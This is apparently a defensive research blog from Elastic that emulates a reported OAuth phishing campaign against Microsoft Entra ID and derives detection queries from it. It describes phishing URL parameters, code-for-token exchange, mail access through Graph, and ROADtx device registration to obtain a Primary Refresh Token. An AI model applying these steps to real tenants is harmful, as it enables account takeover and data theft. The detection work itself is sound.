Members of the Threat Research and Detection Engineering (TRADE) team at Elastic have recently turned their attention to an emerging class of threats targeting OAuth workflows in Microsoft Entra ID (previously Azure AD). This research was inspired by Volexity's recent blog, Phishing for Codes: Russian Threat Actors Target Microsoft 365 OAuth Workflows, which attributes a sophisticated OAuth phishing campaign against NGOs to the threat actor designated UTA0352.

Volexity's investigation presents compelling forensic evidence of how attackers abused trusted first-party Microsoft applications to bypass traditional defenses. Using legitimate OAuth flows and the open-source tool ROADtools, the actors crafted customized Microsoft authentication URLs, harvested security tokens and leveraged them to impersonate users, elevate privilege, and exfiltrate data via Microsoft Graph — including downloading Outlook emails and accessing SharePoint sites.

While their report thoroughly documents the what of the attack, our team at Elastic focused on understanding the how. We emulated the attack chain in a controlled environment to explore the mechanics of token abuse, device registration, and token enrichment firsthand. This hands-on experimentation yielded deeper insights into the inner workings of Microsoft's OAuth implementation, the practical use of ROADtools, recommended mitigations, and most importantly, effective detection strategies to identify and respond to similar activity.

OAuth in Microsoft Entra ID

Microsoft Entra ID implements OAuth 2.0 to enable delegated access to Microsoft 365 services like Outlook, SharePoint, and Graph API. While the OAuth specification is standardized (RFC6749), Entra ID introduces unique behaviors and token types that influence how delegated access works and how adversaries exploit them.

In delegated access, an application is authorized to act on behalf of a signed-in user, constrained by scopes (permissions) the app requests and the user or admin consents to. This model is common in enterprise environments where apps retrieve a user's emails, files, or directory data without prompting for credentials each time.

A typical delegated authorization flow includes:

Authorization request (OAuth 2.0 Authorization Code Grant): The app requests access to a resource (e.g., Graph) with specific scopes (e.g., Mail.Read, offline_access). These are added as parameters to the URI.

• client_id: The application’s ID (e.g., VSCode)
• Response_type: Determines the grant type OAuth workflow (e.g. device code, auth code)
• Scope: Permissions requested for the target resource (e.g. Mail.Read, offline_access)
• Redirect_uri: Where to send our authorization codes
• State: CSRF protection
• Login_hint: Pre-fills username

User authentication (OpenID Connect): Entra ID authenticates the user via policy (password, MFA, device trust).

• Single-Factor Authentication (SFA)
• Multi-factor Authentication (MFA)
• Device Trust (Hybrid Join, Intune compliance)
• Conditional Access Policies (CAP)
• Single Sign-On (SSO)

Consent: Consent governs whether the app can receive an authorization code and what scopes are permitted.

• User-consentable scopes (e.g. Mail.Read, offline_access)
• Admin-Consent required scopes (e.g. Directory.ReadWrite) requires elevated approval.

Token issuance: The app receives an authorization code, then redeems it for :

• Access Token – short-lived token used to call APIs like Graph.
• Refresh Token (RT) – longer-lived token to obtain new access tokens silently.
• Identity Token - Describes authenticated user; present in OpenID flows.
• (Optional) Primary Refresh Token: If the user is on a domain-joined or registered device, a Primary Refresh Token (PRT) may enable silent SSO and additional token flows without user interaction.
• Token claims: Claims are key-value pairs embedded in JWT tokens that describe the user, app, device, scopes and context of the authentication.

What Defines an MSFT OAuth Phishing URL

Before diving into key findings from Volexity's report that help shape our detection strategy, it's important to break down what exactly defines a Microsoft OAuth phishing URL.

As described earlier, Microsoft Entra ID relies on these URLs to determine which application (client) is requesting access, on behalf of which user principal, to what resource, and with what permissions. Much of this context is embedded directly in the query parameters of the OAuth authorization request, making them a critical source of metadata for both adversaries and defenders.

Here's an example of a phishing URL aligned with the authorization code grant flow, adapted from Volexity's blog:

https://login.microsoftonline[.]com/organizations/oauth2/v2.0/authorize?state=https://mae.gov[.]ro/[REMOVED]&client_id=aebc6443-996d-45c2-90f0-388ff96faa56&scope=https://graph.microsoft.com/.default&response_type=code&redirect_uri=https://insiders.vscode.dev/redirect&login_hint=<EMAIL HERE>

Let's break down some of the key components:

• login.microsoftonline.com – The global Microsoft Entra ID authentication endpoint.
• /oauth2/v2.0/authorize - MSFT Entra ID OAuth v2.0 endpoint for authorization workflows
• state – Optional value used to prevent CSRF and maintain application state. Sometimes abused to obfuscate phishing redirections.
• client_id – The application ID making the request. This could belong to Microsoft first-party apps (like VSCode, Teams) or malicious third-party apps registered by adversaries.
• scope – Defines the permissions the application is requesting (e.g., Mail.Read, offline_access). The .default scope is often used for client credential flows to get pre-consented permissions.
• response_type=code – Indicates the flow is requesting an authorization code, which can later be exchanged for an access and/or refresh token.
• redirect_uri – Where Entra ID will send the response after the user authenticates. If an attacker controls this URI, they gain the code or it is a MSFT-managed URI that is valid.
• login_hint – Specifies the target user (e.g., alice @ tenant.onmicrosoft.com). Often pre-filled to lower friction during phishing.

Note: While this example illustrates a common Microsoft Entra ID OAuth phishing URL, there are many variations. Adversaries may adjust parameters such as the client ID, scopes, grant types or redirect URIs depending on their specific objectives, whether it's to gain persistent access, exfiltrate emails, or escalate privileges via broader consent grants.

Why Does This Matter?

Because these parameters are customizable, adversaries can easily swap out values to suit their operation. For example:

• They might use a legitimate Microsoft client ID to blend in with benign applications.
• They may use a .default scope to bypass specific consent prompts.
• They’ll point the redirect_uri to a site under their control to collect the authorization code.
• They can target specific user principals they may have identified during reconnaissance.
• They can adjust permissions to target resources based on their operational needs.

Once a target authenticates, the goal is simple – obtain an authorization code. This code is then exchanged (often using tools like ROADtools) for a refresh token and/or access token, enabling the attacker to make Graph API calls or pivot into other Microsoft 365 services, all without further user interaction.

Abstraction of Volexity's Key Findings

For threat detection, it is critical to understand the protocols like OAuth, workflow implementation in Microsoft Entra ID, and contextual metadata about the behaviors and/or steps taken by the adversary regarding this operation.

From Volexity's investigation and research, we can key in the different variations of OAuth phishing reported. We decided to break these down for easier understanding:

OAuth Phishing To Access Graph API as VSCode Client On-Behalf-Of Target User Principal: These URLs are similar to our example “What Defines an MSFT OAuth Phishing URL” – the end game goal being an access token to Graph API with default permissions.

• OAuth phishing URLs were custom, pointing to "authorize" endpoint
• Client IDs were specifically VSCode ("aebc6443-996d-45c2-90f0-388ff96faa56")
• Resource/Scope was MSFT Graph ("https://graph.microsoft.com/.default") with .default permissions
• Token grant flows were auth code (response_type=code)
• Redirect URIs were for legitimate MSFT domains (insiders[.]vscode[.]dev or vscode-redirect[.]azurewebsites[.]net)
• Login hints were the specific user principal being targeted (not service principals)
• Adversary required the target to open the URL, authenticate and share the authorization code (1.AXg….)

From here, the adversary would be able to make a request to MSFT's OAuth token endpoint (https://login.microsoftonline.com/[tenant_id]/oauth2/v2.0/token) and exchange the refresh token for an access token. This is enough to allow the adversary to access Graph API and access resources normally available to the user. These indicators will be crucial to factoring our detection and hunting strategies later on in this blog.

OAuth Phishing for Device Registration as MSFT Auth Broker: These URLs are unique as they are chained with subsequence ROADtools usage to register a virtual device, exchange an RT for a PRT, and require PRT enrichment to accomplish email access via Graph API and Sharepoint access.

• OAuth phishing URLs were custom, pointing to authorize (https://login.microsoftonline.com/[tenant_id]/oauth2/v2.0/authorize) endpoint
• Client IDs were specifically MSFT Authentication Broker ("29d9ed98-a469-4536-ade2-f981bc1d605e")
• Resource/Scope was Device Registration Service (DRS) ("01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9")
• Token grant flows were auth code (response_type=code)
• Redirect URI includes cloud-based domain join endpoint (typically used during Windows setup or Autopilot)
• Login hint contains user principal email address (Target)
• Request is ultimately for an ADRS token

If the user is phished and opens the URL, authenticating will provide an ADRS token that is required for the adversary to register a device and subsequently obtain a PRT with the device’s private key and PEM file.

Volexity's blog also includes additional information about tracking the activity of the compromise identity via the device ID registered as well as post-compromise activity following an approved 2FA request was identified, allowing the adversary to download the target's email with a session tied to the newly registered device.

With this understanding of each phishing attempt, our next goal is to replicate this in our own MSFT tenant as accurately as possible to gather data for plausible detections.

Our Emulation Efforts

Alright – so at this point, we’ve covered the fundamentals of OAuth and how Microsoft Entra ID implements it. We broke down what defines a Microsoft OAuth phishing URL, decoded its critical parameters, and pulled key insights from Volexity's excellent investigation to identify indicators aligned with these phishing workflows.

But theory and a glimpse into Volexity's notebook only takes us so far.

To truly understand the attacker's perspective, the full chain of execution, tooling quirks, subtle pitfalls, and opportunities for abuse, we decided to go hands-on with whitebox testing. We recreated the OAuth phishing process in our own tenant, emulating everything from token harvesting to resource access. The goal? Go beyond static indicators and surface the behavioral breadcrumbs that defenders can reliably detect.

Let's get into it.

Prerequisites

For starters, it is good to share some details about our threat research and detection environment in Azure.

• Established Azure tenant: TENANT.onmicrosoft.com
• Established Sharepoint Domain: DOMAIN.sharepoint.com
• Native IdP Microsoft Entra ID – Enabling our IAM
• Microsoft 365 Licenses (P2) for All Users
• Azure Activity Logs Streaming to EventHub
• Microsoft Entra ID Sign-In Logs Streaming to EventHub
• Microsoft Entra ID Audit Logs Streaming to EventHub
• Microsoft Graph Audit Logs Streaming to EventHub
• Microsoft 365 Audit Logs Streaming to EventHub
• Elastic Azure and M365 Integration Enabled for Log Digestion from EventHub
• Basic Admin User Enabled with CAP Requiring MFA
• MSFT Authenticator App on Mobile for 2FA Emulation
• Windows 10 Desktop with NordVPN (Adversary Box)
• macOS endpoint (Victim box)

Note that while we could follow the workflows from a single endpoint, often we need data that reflects separate source addresses to developer detection variations of impossible travel.

Scenario 1: OAuth Phishing as VSCode Client

Emulation

To emulate the phishing technique documented by Volexity, we built a Python script to generate an OAuth 2.0 authorization URL using Microsoft Entra ID. The URL initiates an authorization code grant flow, impersonating the first-party Visual Studio Code app to request delegated access to the Microsoft Graph API.

We configured the URL with the following parameters:

{
  "client_id": "aebc6443-996d-45c2-90f0-388ff96faa56",
  "response_type": "code",
  "redirect_uri": "insiders.vscode.dev/redirect",
  "scope": "https://graph.microsoft.com/.default",
  "login_hint": "user @ tenant.onmicrosoft.com",
  "prompt": "select_account",
  "state": "nothingtoseehere"
}

Figure 1: Parameters for OAuth Phishing URL

This URL is shared with the target (in our case, a MacOS test user). When opened, it authenticates the user and completes the OAuth workflow. Using browser developer tools, we capture the authorization code returned in the redirect URI, exactly what the attackers asked their victims to send back.

After receiving the code, we issue a POST request to:

{token_url: "https://login.microsoftonline.com/organizations/oauth2/v2.0/token"}

This exchange uses the authorization_code grant type, passing the code, client ID, and redirect URI. Microsoft returns an access token, but no refresh token. You might ask why that is?

The scope https://graph.microsoft.com/.default instructs Microsoft to issue a bearer token for all Graph permissions already granted to the VSCode app on behalf of the user. This is a static scope, pulling from the app registration, it does not include dynamic scopes like Mail.Read or offline_access.

Microsoft's documentation states:

““Clients can’t combine static (.default) consent and dynamic consent in a single request.””

Therefore, trying to include offline_access alongside .default results in an error. If the attacker wants a refresh token, they must avoid .default and instead explicitly request offline_access and the required delegated scopes (e.g., Mail.Read) – Assuming the app registration supports those.

With the access token in hand, we pivoted to a second script to interact with the Microsoft Graph API. The goal – extract email messages from the victim’s account — just as the attacker would.

To do this, we included the access token as a Bearer JWT in the authorization header and made a GET request to the following endpoint:

{graph_url: "https://graph.microsoft.com/v1.0/me/messages"}

The response returns a JSON array of email objects. From here, we simply iterate through the results and parse out useful metadata such as sender, subject, and received time.

To test the token’s broader privileges, we also attempted to enumerate SharePoint sites using:

{graph_search_url: "https://graph.microsoft.com/v1.0/sites?search=*"}

The request failed with an access denied error – which leads us to an important question: why did email access work, but SharePoint access did not? The reason is that the first-party client (VSCode: aebc6443-996d-45c2-90f0-388ff96faa56) does not have default delegated permissions with Graph for Sharepoint – as predefined by Microsoft. Therefore, we know the adversary is limited on what they can access.

To ensure this was accurate, we decoded the access token to identify the SCP associated with VSCode with .default permissions to Graph – Verifying no Sites.* permissioned by Microsoft.

This is one of the variations described by Volexity, but does help us understand more about the processes behind the scenes for the adversary – as well as resources, OAuth, and more for Microsoft Entra ID.

With the emulation complete, we now turn to identifying high-fidelity signals that are viable for SIEM detection and threat hunting. Our focus is on behavior observables in Microsoft Entra ID and Microsoft Graph logs.

Detection

Signal 1 - Microsoft Entra ID OAuth Phishing as Visual Studio Code Client

A successful OAuth 2.0 (authorization) and OpenID Connect (authentication) flow was completed using the first-party Microsoft application Visual Studio Code (VSCode). The sign-in occurred on behalf of the phished user principal, resulting in delegated access to Microsoft Graph with .default permissions.

event.dataset: "azure.signinlogs" and
event.action: "Sign-in activity" and
event.outcome: "success" and
azure.signinlogs.properties.user_type: "Member" and
azure.signinlogs.properties.authentication_processing_details: *Oauth* and
azure.signinlogs.category: "NonInteractiveUserSignInLogs" and
(
  azure.signinlogs.properties.resource_display_name: "Microsoft Graph" or
  azure.signinlogs.properties.resource_id: "00000003-0000-0000-c000-000000000000"
) and (
  azure.signinlogs.properties.app_id: "aebc6443-996d-45c2-90f0-388ff96faa56" or
  azure.signinlogs.properties.app_display_name: "Visual Studio Code"
)

Signal 2 - Microsoft Entra Session Reuse with Suspicious Graph Access

While traditional query languages like KQL are excellent for filtering and visualizing individual log events, they struggle when a detection relies on correlating multiple records across datasets, time, and identifiers. This is where ES|QL (Elasticsearch Query Language) becomes essential. These types of multi-event correlations, temporal logic, and field normalization are difficult or entirely impossible in static filter-based query languages like KQL without writing multiple disjointed queries and manually correlating them after the fact.

This detection relies on correlating multiple events that happen close together but from different data sources, namely sign-in logs and Microsoft Graph activity. The goal is to find suspicious reuse of the same session ID across multiple IPs, potentially indicating session hijacking or token abuse. For the sake of space regarding this publication, you can view the actual detection rule in the Detection Rules section. To better illustrate the flow of the query and meaning, below is a diagram to illustrate at a higher level.

[ FROM logs-azure.* ]
        |
        |  ← Pulls events from all relevant Microsoft Cloud datasets:
        |     - azure.signinlogs (authentication)
        |     - azure.graphactivitylogs (resource access)
        ↓
[ WHERE session_id IS NOT NULL AND IP NOT MICROSOFT ASN ]
        |
        |  ← Filters out Microsoft-owned infrastructure (e.g., internal proxy,
        |     Graph API relays) using ASN checks.
        |  ← Ensures session ID exists so events can be correlated together.
        ↓
[ EVAL session_id, event_type, time_window, etc. ]
        |
        |  ← Normalizes key fields across datasets:
        |     - session_id (from signin or Graph)
        |     - user ID, app ID, event type ("signin" or "graph")
        |  ← Buckets events into 5-minute windows using DATE_TRUNC()
        ↓
[ KEEP selected fields ]
        |
        |  ← Retains only what's needed:
        |     session_id, timestamp, IP, user, client ID, etc.
        ↓
[ STATS BY session_id + time_window ]
        |
        |  ← Groups by session and time window to compute:
        |     - unique IPs used
        |     - apps involved
        |     - first and last timestamps
        |     - whether both signin and graph occurred
        ↓
[ EVAL time_diff + signin_to_graph_delay ]
        |
        |  ← Calculates:
        |     - time_diff: full session duration
        |     - delay: gap between signin and Graph access
        ↓
[ WHERE types_count > 1 AND unique_ips > 1 AND delay <= 5 ]
        |
        |  ← Flags sessions where:
        |     - multiple event types (signin + graph)
        |     - multiple IPs used
        |     - all occurred within 5 minutes
        ↓
[ Output = Suspicious Session Reuse Detected ]

Signal 3 - Microsoft Entra ID Concurrent Sign-Ins with Suspicious Properties

This detection identifies suspicious sign-ins in Microsoft Entra ID where a user authenticates using the device code flow without MFA or sign-ins using the VSCode client. When the same identity signs in from two or more distinct IPs within a short time window using either method, it may indicate token replay, OAuth phishing, or adversary-in-the-middle (AitM) activity.

[ FROM logs-azure.signinlogs* ]
        |
        |  ← Pulls only Microsoft Entra ID sign-in logs
        ↓
[ WHERE @timestamp > NOW() - 1h AND event.outcome == "success" ]
        |
        |  ← Filters to the last hour and keeps only successful sign-ins
        ↓
[ WHERE source.ip IS NOT NULL AND identity IS NOT NULL ]
        |
        |  ← Ensures the sign-in is tied to a user and IP for correlation
        ↓
[ KEEP fields: identity, app_id, auth_protocol, IP, etc. ]
        |
        |  ← Retains app/client, IP, auth method, and resource info
        ↓
[ EVAL detection flags ]
        |
        |  ← Labels events as:
        |     - device_code: if MFA not required
        |     - visual_studio: if VS Code client used
        |     - other: everything else
        ↓
[ STATS BY identity ]
        |
        |  ← Aggregates all sign-ins per user, calculates:
        |     - IP count
        |     - Device Code or VSCode usage
        |     - App/client/resource details
        ↓
[ WHERE src_ip >= 2 AND (device_code_count > 0 OR vsc > 0) ]
        |
        |  ← Flags users with:
        |     - Sign-ins from multiple IPs
        |     - And either:
        |         - Device Code w/o MFA
        |         - Visual Studio Code app
        ↓
[ Output = Potential OAuth Phishing or Token Misuse ]

While this variation of OAuth phishing lacks the full persistence offered by refresh tokens or PRTs, it still provides adversaries with valuable one-time access to sensitive user data – such as emails – through legitimate channels. This exercise helps us understand the limitations and capabilities of static .default scopes, the influence of app registrations, and how Microsoft Graph plays a pivotal role in post-authentication. It also reinforces a broader lesson: not all OAuth phishing attacks are created equal. Some aim for longevity (as we will see later) through refresh tokens or device registration, while others focus on immediate data theft via first-party clients. Understanding the nuances is essential for accurate detection logic.

Scenario 2: OAuth Phishing for Device Registration

As we stated earlier – Volexity also reported a separate phishing playbook targeting victims, this time with the goal of registering a virtual device and obtaining a PRT. While this approach requires more steps from the adversary, the payoff is a token-granting token that offers far more utility for completing their operations. For our emulation efforts, we needed to expand our toolset and rely on ROADtools, just as the adversary did to remain accurate, however, several other python scripts were made for initial phishing and post-compromise actions.

Emulation

Starting with the initial phishing, we adjusted our Python script to craft a different OAuth URL that would be sent to our victim. This time, the focus was on our first-party client ID being the Microsoft Authentication Broker, requesting a refresh token with offline_access and redirecting to Entra ID’s cloud domain device joining endpoint URI.

{
  "client_id": "29d9ed98-a469-4536-ade2-f981bc1d605e",
  "response_type": "code",
  "response_mode": "query",
  "redirect_uri": "https://login.microsoftonline.com/WebApp/CloudDomainJoin/8",
  "resource": "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9",
  "state": "nothingtoseehere"
}

If successful and our victim authenticates, the OAuth workflow will complete and the user will be redirected to the specified URI with an appended authorization code in the query parameters. Again, this code is the critical piece, it must be shared back with the adversary in order to exchange it for tokens. In our case, once the phishing URL is opened and the target authenticates, we capture the authorization code embedded in the redirect and use it to request tokens from the Microsoft Entra ID token endpoint.

Now, here's where it gets interesting. In response to the token request, we receive three types of tokens: an access token, a refresh token, and an ID token. You might be asking – why do we get more than just an access token? The answer lies in the scopes we initially requested: openid, offline_access, and profile.

• openid grants us an ID token, which is part of the OpenID Connect layer and confirms the identity of the user — this is your authentication (authN) artifact.
• offline_access provides a refresh token, enabling us to maintain a session and request new access tokens without requiring re-authentication, this supports persistent access but is critical for our use with ROADtx.
• And the access token itself is used to authorize requests to protected APIs like Microsoft Graph, this represents authorization (authZ).

With these three tokens, we have everything: authentication, authorization, and long-term session continuity. That’s enough to shift from a simple OAuth phishing play into a more persistent foothold — like registering a new device in Microsoft Entra ID.

Now let’s connect the dots. A PRT requires registration of a valid device, one that Entra ID recognizes via a device certificate and private key. This is where ROADtx comes into play. Because our initial OAuth phishing impersonated a joined device flow, and the client used was the Microsoft Authentication Broker (a first-party client that interacts with the Device Registration Service), we already have the right access token in hand to interact with DRS. Notice in our returned object the scope is adrs_access which indicates Azure DRS access and is important for detections later.

From here, we simply drop the JSON object received from our token exchange into the .roadtool_auth file. This file is natively consumed by ROADtools, which uses the stored tokens to perform the device registration, completing the adversary’s move into persistence and setting the stage for obtaining a valid PRT.

After obtaining the tokens, we prep them for ROADtx by reformatting the JSON. ROADtx expects keys in camelCase, and we must also include the Microsoft Authentication Broker’s client ID as _clientId. This setup allows us to run the refreshtokento command, which takes our refresh token and exchanges it for a new JWT scoped to the DRS — specifically, the service principal urn:ms-drs:enterpriseregistration.windows.net.

Once that’s in place, we use the device command to simulate a new device registration. This operation doesn’t require any actual virtual machine or physical host because it’s a backend registration that simply creates an entry in Entra ID. Upon success, we’re issued a valid device ID, PEM-encoded certificate, and private key — all of which are required to simulate a valid hybrid-joined device in the Microsoft ecosystem.

With our device identity established, we invoke the prt command. This uses the refresh token, device certificate, and private key to mint a new PRT — a highly privileged credential that effectively ties together user and device trust in Microsoft Entra ID.

And just like that — whollah! — we have a PRT.

But why go through all this? Why register a device, generate a cert, and obtain a PRT when we already had an access token, ID token, and refresh token?

Because the PRT is the key to full user and device identity emulation. Think of it as a Kerberos-like ticket-granting token in Entra ID’s world, but instead – a token-granting token. With a valid PRT:

• An adversary can request new access and ID tokens for first-party apps like Outlook, SharePoint, or Teams without needing user interaction.
• The PRT enables seamless single sign-on SSO across multiple services, bypassing MFA and other conditional access policies (CAP) that would typically re-prompt the user. This is crucial for persistence as CAP and MFA are often huge barriers for adversaries.
• It supports long-lived persistence, as the PRT can be silently renewed and leveraged across sessions as long as the device identity remains trusted.

And perhaps most dangerously — the PRT allows adversaries to impersonate a fully compliant, domain-joined device and user combo, effectively bypassing most conventional detection and response controls making the line between benign vs suspicious extremely thin for hunters and analysts.

This makes the PRT an incredibly valuable asset or one that enables covert lateral movement, privilege escalation, and deep access to Microsoft 365 services. It’s not just about getting in anymore — it’s about staying undetected.

Let’s not forget post-compromise activity…

ROADtx offers a few powerful commands frequently used by adversaries – prtenrich and browserprtauth. For example, we can access most browser-based UI services in the Microsoft suite by supplying our PRT which includes the necessary metadata for authentication and authorization – which originally belonged to our phishing victim (me), but is actually the Microsoft Authentication Broker acting on their behalf.

Volexity also reported that following device registration and the PRT acquisition – a 2FA request was sent to the initial victim, approved and then used to access emails via SharePoint. While they do not specify exactly how requests were made to – it’s reasonable to assume the adversary used the PRT to authenticate via a first-party Microsoft client – with the actual data access happening through Microsoft Graph. Graph remains a popular target post-compromise because it serves as a central API hub for most Microsoft 365 resources.

To start – let’s leverage ROADtx to auth with our PRT where Microsoft Teams is our client and Microsoft Graph is our resource. When using the prtauth command with our PRT, we are able to obtain a new access token and refresh token – clearly demonstrating the utility of the PRT as a token-granting token within Microsoft’s identity fabric.

Once our access token is obtained, we plug it into a custom Python script to start enumerating our SharePoint sites, drives, items which allows us to identify files of interest and download their contents.

With this emulation – we showed how adversaries can chain OAuth phishing with the Microsoft Authentication Broker and obtain necessary credential material to leverage ROADtx for acquiring a PRT. This PRT then being an important utility post-compromise to access sensitive files, enumerate tenant resources and much more.

Now, let’s shift focus: what are plausible and accurate signals for detecting this activity?

Detection

Signal 1 - Microsoft Entra ID OAuth Phishing as Microsoft Authentication Broker

Identifies instances where a user principal initiates an OAuth authorization code flow using the Microsoft Authentication Broker (MAB) as the client and the Device Registration Service (DRS) as the target resource. This detection focuses on cases where a single session ID is reused across two or more distinct IP addresses within a short time window, and at least one request originates from a browser — behavior commonly associated with phishing.

[ FROM logs-azure.signinlogs-* ]
        |
        |  ← Pulls all Microsoft Entra ID sign-in logs
        ↓
[ WHERE app_id == MAB AND resource_id == DRS ]
        |
        |  ← Filters to OAuth auth code requests targeting
        |     Microsoft Authentication Broker + Device Reg Service
        ↓
[ EVAL session_id + is_browser ]
        |
        |  ← Extracts session ID and flags browser-based activity
        ↓
[ STATS BY 30-minute window, user, session_id ]
        |
        |  ← Groups logins within same session and time window,
        |     then aggregates:
        |       - user/session/token identifiers
        |       - distinct IPs and geo info
        |       - user agent, browser presence
        |       - app/resource/client info
        ↓
[ WHERE ip_count ≥ 2 AND session_id_count == 1 ]
        |
        |  ← Identifies reuse of a single session ID
        |     across ≥ 2 different IP addresses
        ↓
[ AND has_browser ≥ 1 AND auth_count ≥ 2 ]
        |
        |  ← Requires at least one browser-based request
        |     and at least two total sign-in events
        ↓
[ Output = Suspicious OAuth Flow with Auth Broker for DRS ]

Signal 2 - Suspicious ADRS Token Request by Microsoft Auth Broker

Identifies Microsoft Entra ID sign-in events where a user principal authenticates using a refresh token issued to the Microsoft Authentication Broker (MAB) client, targeting the Device Registration Service (DRS) with the adrs_access OAuth scope. This pattern may indicate token-based access to DRS following an initial authorization code phishing or device registration flow.

event.dataset: "azure.signinlogs" and azure.signinlogs.properties.app_id : "29d9ed98-a469-4536-ade2-f981bc1d605e" and azure.signinlogs.properties.resource_id : "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" and azure.signinlogs.properties.authentication_processing_details.`Oauth Scope Info`: *adrs_access* and azure.signinlogs.properties.incoming_token_type: "refreshToken" and azure.signinlogs.properties.user_type: "Member"

Signal 3 - Unusual Device Registration in Entra ID

Detects a sequence of Entra ID audit log events indicating potential malicious device registration activity using a refresh token, commonly seen after OAuth phishing. This pattern mimics the behavior of tools like ROADtx, where a newly registered Windows device (with a hardcoded OS version 10.0.19041.928) is added by the Device Registration Service, followed by user and owner assignments. All events must share the same correlation ID and occur within a one-minute window, strongly suggesting automation or script-driven registration rather than legitimate user behavior.

sequence by azure.correlation_id with maxspan=1m
[any where event.dataset == "azure.auditlogs" and azure.auditlogs.identity == "Device Registration Service" and azure.auditlogs.operation_name == "Add device" and azure.auditlogs.properties.additional_details.value like "Microsoft.OData.Client/*" and (
  azure.auditlogs.properties.target_resources.`0`.modified_properties.`1`.display_name == "CloudAccountEnabled" and 
azure.auditlogs.properties.target_resources.`0`.modified_properties.`1`.new_value: "[true]") and azure.auditlogs.properties.target_resources.`0`.modified_properties.`3`.new_value like "*10.0.19041.928*"]
[any where event.dataset == "azure.auditlogs" and azure.auditlogs.operation_name == "Add registered users to device" and azure.auditlogs.properties.target_resources.`0`.modified_properties.`2`.new_value like "*urn:ms-drs:enterpriseregistration.windows.net*"]
[any where event.dataset == "azure.auditlogs" and azure.auditlogs.operation_name == "Add registered owner to device"]

Signal 3 - Entra ID RT to PRT Transition from Same User and Device

This detection identifies when a Microsoft Entra ID user first authenticates using a refresh token issued to the Microsoft Authentication Broker (MAB), followed shortly by the use of a Primary Refresh Token (PRT) from the same device. This sequence is rare in normal user behavior and may indicate an adversary has successfully registered a device and escalated to persistent access using tools like ROADtx. By filtering out activity tied to the Device Registration Service (DRS) in the second step, the rule focuses on post-registration usage of the PRT to access other Microsoft 365 services.

This behavior strongly suggests token-based compromise and long-term session emulation, particularly when device trust is established silently. Catching this transition from refresh token to PRT is critical for surfacing high-fidelity signals of OAuth phishing and post-compromise persistence.

sequence by azure.signinlogs.properties.user_id, azure.signinlogs.properties.device_detail.device_id with maxspan=1d
  [authentication where 
    event.dataset == "azure.signinlogs" and
    azure.signinlogs.category == "NonInteractiveUserSignInLogs" and
    azure.signinlogs.properties.app_id == "29d9ed98-a469-4536-ade2-f981bc1d605e" and
    azure.signinlogs.properties.incoming_token_type == "refreshToken" and
    azure.signinlogs.properties.device_detail.trust_type == "Azure AD joined" and
    azure.signinlogs.properties.device_detail.device_id != null and
    azure.signinlogs.properties.token_protection_status_details.sign_in_session_status == "unbound" and
    azure.signinlogs.properties.user_type == "Member" and
    azure.signinlogs.result_signature == "SUCCESS"
  ]
  [authentication where 
    event.dataset == "azure.signinlogs" and
    azure.signinlogs.properties.incoming_token_type == "primaryRefreshToken" and
    azure.signinlogs.properties.resource_display_name != "Device Registration Service" and
    azure.signinlogs.result_signature == "SUCCESS"
  ]

Signal 4 - Unusual PRT Usage and Registered Device for User Principal

This detection surfaces when a Microsoft Entra ID user registers a new device not previously seen within the last 7 days – behavior often associated with OAuth phishing campaigns that chain into ROADtx-based device registration. In these attacks, adversaries trick users into authorizing access for the Microsoft Authentication Broker (MAB) targeting the DRS, obtain a RT, and then use ROADtx to silently register a fake Windows device and mint a PRT. This rule alerts when a user principal authenticates from a newly observed device ID, particularly if the session is unbound, which is characteristic of token replay or device spoofing. Because PRTs require a registered and trusted device, this signal plays a critical role in identifying when an adversary has crossed from basic token abuse into persistent, stealthy access aligned with long-term compromise.

event.dataset: "azure.signinlogs" and
    event.category: "authentication" and
    azure.signinlogs.properties.user_type: "Member" and
    azure.signinlogs.properties.token_protection_status_details.sign_in_session_status: "unbound" and
    not azure.signinlogs.properties.device_detail.device_id: "" and
    azure.signinlogs.properties.user_principal_name: *

New Terms Values:

• azure.signinlogs.properties.user_principal_name
• azure.signinlogs.properties.device_detail.device_id

This emulation helped us validate the full attacker workflow – from phishing for consent to establishing device trust and minting a PRT for long-term persistence. By chaining OAuth abuse with device registration, adversaries can satisfy CAPs, impersonate compliant endpoints and move laterally through cloud environments – often without triggering traditional security controls.

These nuances matter. When viewed in isolation, individual events like token issuance or device registration may appear benign. But when correlated across sign-in logs, audit data and token metadata, they expose a distinct trail of identity compromise.

Key Telemetry Details for Detection and Abuse

Throughout our emulation and detection efforts, specific telemetry artifacts consistently proved essential for separating benign OAuth activity from malicious abuse. Understanding how these fields appear in Microsoft Entra ID logs – and how attackers manipulate them – is critical for effective hunting and detection engineering. From client IDs and grant types to device compliance, token types and conditional access outcomes, these signals tell the story of identity-based attacks. Below we have curated a list of those most important and how they can enable us.

Client Application IDs (client_id): Identify the application initiating the OAuth request. First-party clients (e.g. VSCode, Auth Broker) can be abused to blend in. Third-party clients may be malicious or unreviewed - often representing consent grant attacks. Mainly used to identify risky or unexpected app usage.

Target Resource (resource_id / resource_display_name): Defines which MSFT service is being accessed (e.g. MSFT Graph or Teams). High value targets include – Graph API, SharePoint, Outlook, Teams and Directory Services. Resource targeting is often scoped by attacker objectives.

Principal type (user_type): Indicates if the sign-in was by a member (user) or service principal. Phishing campaigns almost always target member accounts. This enables easy filtering in detection logic but helps pair unusual first-party client requests on-behalf-of user principals.

OAuth Grant Type (authentication_processing_details): Key to understanding how the token was obtained – authorization codes, refresh tokens, device codes, client credentials, etc. Whereas refresh tokens and device code reuse are high-fidelity signals of post-compromise.

Geolocation: Enables us to identify atypical sign-ins (e.g. rare country seen) or impossible travel (same user from distant locations in a short time). Combined with session ID and correlation IDs, these can reveal token hijacking, post identity compromise or lateral movement.

Device Metadata (device_detail, trust_type, compliance_state): Includes Device IDs, operating system, trust types, compliance, managed-state and more. Device registration and PRT issuance are tied to this metadata. Often a goal for adversaries to satisfy CAP and gain trusted access that is persistent.

Authentication Protocols and Types (authentication_protocol / incoming_token_type): Reveals whether the session was OAuth-based or if MFA was used. Token sources incoming are those used for this request that provide authN or authZ. Useful for detecting token reuse, non-interactive sign-ins.

Authentication Material and Session Context: Tokens used can be inferred via incoming token type, token protection status and the session ID. Session reuse, long session duration or multiple IPs tied to a single session often indicate abuse.

Conditional Access Policy Status: Evaluated during token issuance – however it heavily influences whether access was granted. This helps identify CAP evasion, unexpected policy outcomes or can factor into risk.

